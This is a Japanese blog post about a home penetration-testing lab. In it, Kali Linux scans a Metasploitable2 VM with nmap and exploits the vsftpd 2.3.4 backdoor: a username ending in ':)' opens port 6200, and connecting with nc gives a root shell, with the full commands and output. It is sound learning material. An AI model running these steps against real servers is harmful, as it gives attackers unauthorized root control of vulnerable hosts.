はじめに
この記事は後編になります。前編は以下からどうぞ。
前編で環境構築を行いました。この記事ではKaliLinuxでMetasploitable2に攻撃を仕掛けてみます。
といっても知っている方は同じみのvsftpd
を使った攻撃ですごめんなさい。
他人や他社のサービス、サーバー等へ許可なしに攻撃を実行した場合は犯罪行為となります。 本記事を参考に他人や他社に害を与えたとしても一切の責任を負いません。
vsftpd 2.3.4の脆弱性を利用したサーバ乗っ取り
2011年にリリースされたvsftpd バージョン2.3.4には、バックドアコードが存在しており、その脆弱性を利用して攻撃を仕掛けることができます。Metasploitable2にはこのvsftpd 2.3.4がインストールされているので、さっそく攻撃してみましょう。
まずはKali Linuxにログインし、ターミナルを起動します。
次にターミナルで下記コマンドを実行します。
nmap -sS -A 10.0.0.5
nmap
とは、対象のサーバに対してポートスキャンを行うツールです。オプションの-sS
はスキャンタイプをTCP SYNスキャンに指定し、-A
はOS検出とバージョン検出を行うことを指定しています。
$ sudo nmap -sS -A 10.0.0.5
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-06 08:47 EST
Nmap scan report for 10.0.0.5
Host is up (0.00046s latency).
Not shown: 977 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 42531/udp mountd
| 100005 1,2,3 46233/tcp mountd
| 100021 1,3,4 34376/udp nlockmgr
| 100021 1,3,4 53805/tcp nlockmgr
| 100024 1 33855/tcp status
|_ 100024 1 34341/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login?
514/tcp open shell?
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ccproxy-ftp?
3306/tcp open mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2021-11-27T11:51:17+00:00; -40d02h00m41s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge|general purpose|switch
Running (JUST GUESSING): Oracle Virtualbox (98%), QEMU (93%), Bay Networks embedded (88%)
OS CPE: cpe:/o:oracle:virtualbox cpe:/a:qemu:qemu cpe:/h:baynetworks:baystack_450
Aggressive OS guesses: Oracle Virtualbox (98%), QEMU user mode network gateway (93%), Bay Networks BayStack 450 switch (software version 3.1.0.22) (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -40d00h20m40s, deviation: 2h53m13s, median: -40d02h00m41s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2021-11-27T06:49:37-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.22 ms 10.0.2.2
2 0.29 ms 10.0.0.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 280.03 seconds
環境の違いにもよると思いますが、私の環境ではスキャン完了までおよそ3分ほどかかりました。
上記実行結果のうち21/tcp open
などと表示されているものが、TCPで接続可能なポート番号
になっています(たくさんありますね笑)。
上記実行結果から、攻撃対象サーバにvsftpd 2.3.4
が存在することが分かりました。下記の部分です。
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
続いて、下記コマンドを実行します。
$ ftp 10.0.0.5
実行後Name
とPassword
を尋ねられます。
Nameはバックドアを起動させるために必ず最後に:)
を付ける必要があるので1234567:)
とでもしましょう。
Passwordは入力せずにEnter
でOKです。
Connected to 10.0.0.5.
220 (vsFTPd 2.3.4)
Name (10.0.0.5:kali): 1234567:)
331 Please specify the password.
Password:
421 Service not available, remote server has closed connection
Login failed.
No control connection for command: Success
ftp>
ftp> exit
それぞれ入力すると、421 Service not available
と表示され、ログインは弾かれます。
しかし、この操作により攻撃対象サーバの6200ポート
がオープンになります。
ここで下記コマンドを実行します。
nc -nv 10.0.0.5 6200
これにより攻撃対象へのroot権限の乗っ取りが完了しました。一見すると何も変化ないように見えるので、whoami
とifconfig
を使って現在の権限とIPアドレスを確認します。
$ nc -nv 10.0.0.5 6200 1 ⚙
(UNKNOWN) [10.0.0.5] 6200 (?) open
whoami
root
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:43:7c:5d
inet addr:10.0.0.5 Bcast:10.0.0.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe43:7c5d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13131 errors:0 dropped:0 overruns:0 frame:0
TX packets:14713 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1059068 (1.0 MB) TX bytes:1310394 (1.2 MB)
Base address:0xd020 Memory:f0200000-f0220000
上記結果より、root権限でかつIPアドレスが10.0.0.5
(=攻撃対象サーバのIPアドレス)になっていることがわかると思います。
これでパスワードの入力無しで自由に攻撃対象サーバを操れるようになりました。
終わりに
実際に攻撃してみて、「あぁ、ハッキングってこんな感じなんだな」としたり顔になりました(本当に簡単なことしかしてませんけど)。
また、同時に脆弱性が発見された場合にできるだけはやく対策することの重要性を肌で感じることができました。
今後もペネトレーションテストの実践練習は続けていき、近いうちにCTFへ挑戦しようと思います!